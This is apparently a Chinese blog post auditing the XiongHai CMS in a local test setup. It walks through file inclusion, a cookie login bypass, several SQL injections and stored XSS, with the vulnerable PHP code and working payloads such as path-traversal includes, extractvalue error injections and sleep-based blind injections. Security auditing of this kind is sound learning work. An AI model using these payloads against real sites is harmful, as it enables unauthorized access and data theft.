0x00前言

好些天没写文章了,今天给大家分享一篇对于熊海cms的审计
本文所使用的环境为phpstudy的php5.2.17版本+apache

0x01正文

看过我之前文章的朋友知道:在审计之前,我们可以通过查询CNVD来知道准备审计的cms存在的漏洞。这样可以更方便于我们来挖掘,复现漏洞
46599-g4ojqmw1kdj.png

  • 文件包含漏洞(admin/index.php)
    当我看到cnvd的第一个漏洞是登入绕过的时候(一个个来),我们先打开后台地址看看

42102-sy8izisxvtj.png

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

我们可以发现 $file=addslashes($_GET['r']);对于r的输入进行了过滤
84934-txjn03vmk4r.png

include('files/'.$action.'.php');但是这里我们可以发现$action是可控的,即输入的参数是可控的(即使是存在魔术引号)。
这个情况与我之前审计bluecms时候类似。我贴一张当时的图
54548-2dde11gp5t5.png

我们先建个txt72739-5o397lj6xw7.png

最后效果55252-9hd18y7ttqs.png

payload:/admin/?r=../../1.txt.......................................................................................................................................................................................................................................................................................................................................................................................................
  • 文件包含漏洞(index.php)
    该处漏洞与上面相同
  • 登入绕过漏洞(cookie)
    当我在抓后台包的时候我发现cookie处

37154-q6048zvu5y.png

经过查看文件源码,我们来到checklogin.php
86772-x1wjtgb6li.png

可以发现。当cookie为空的时候,就跳转到了登入页面。那么不为空的时候呢,这里就成功的绕过了登入。

  • SQL注入漏洞(admin/files/login.php)
    68279-49h0u49h1sn.png

当&login不为空时候,执行下面的sql语句。且我们可以发现user并未进行过滤,并且
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());这里可以执行报错注入以及盲注。效果如下
84029-dgatgqg7cwi.png

payload:user=admin1' and extractvalue(1,concat(0x7e,(select database())))--+&password=123456&login=yes
  • SQL注入(/admin/files/editwz.php与/admin/files/editcolumn.php)
    我们利用全局搜索的方法来寻找select类型的注入(与上一个同理)

04031-e2l7nwyhc6.png

  • SQL注入(/files/content.php与/files/software.php)
    46777-4bz0mfbve2w.png

这里可以发现输入的变量经过addslashes的过滤。不过我们依旧可以利用报错注入或者时间盲注来执行
32012-hgxfqo0aiwl.png

payload:xhcms/?r=content&cid=1%20and%20extractvalue(1,concat(0x7e,(select%20database())))

-SQL注入(/admin/files/manageinfo.php)
这里是cookie处存在注入,方法如上文所示,不在复述
38294-ej8fd8tw5sj.png

-insertSQL注入(/admin/files/newlink.php)
67188-gt84svs8t.png

$query = "INSERT INTO link (name,url,mail,jieshao,xs,date) VALUES ('$name','$url','$mail','jieshao','xs',now())";
@mysql_query($query) or die('新增错误:'.mysql_error());

太简单了直接上
payload:1' and sleep(10),'http://535yx.cn','yx535@qq.com','jieshao','xs',now()) #

13113-wb7hh9a2b7.png

-delectSQL注入(/admin/files/linklist.php)

$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM link WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
echo "<script>alert('亲,ID为".$delete."的链接已经成功删除!');location.href='?r=linklist'</script>";
exit; 

直接上

payload:/admin/?r=linklist&delete=1%27%20and%20sleep(10)--+

-存储xss漏洞(/admin/files/l ink.php)x2
82960-e8hndlthni9.png

可以发现,这里对于输入并未有过滤,而name和url是我们刚才在newl ink.php处可控的。所以说这里存在着存储xss
07101-4xgiix7g308.png

15383-qaoqjrh24lr.png

17774-f47k0vaadwn.png

0x02结尾

这里sql注入漏洞太多啦。我就不继续说了,有兴趣的朋友可以再挖挖还有哪里存在sql注入漏洞
让我们一起加油
23403-5wyr3gr3ihc.png

发表评论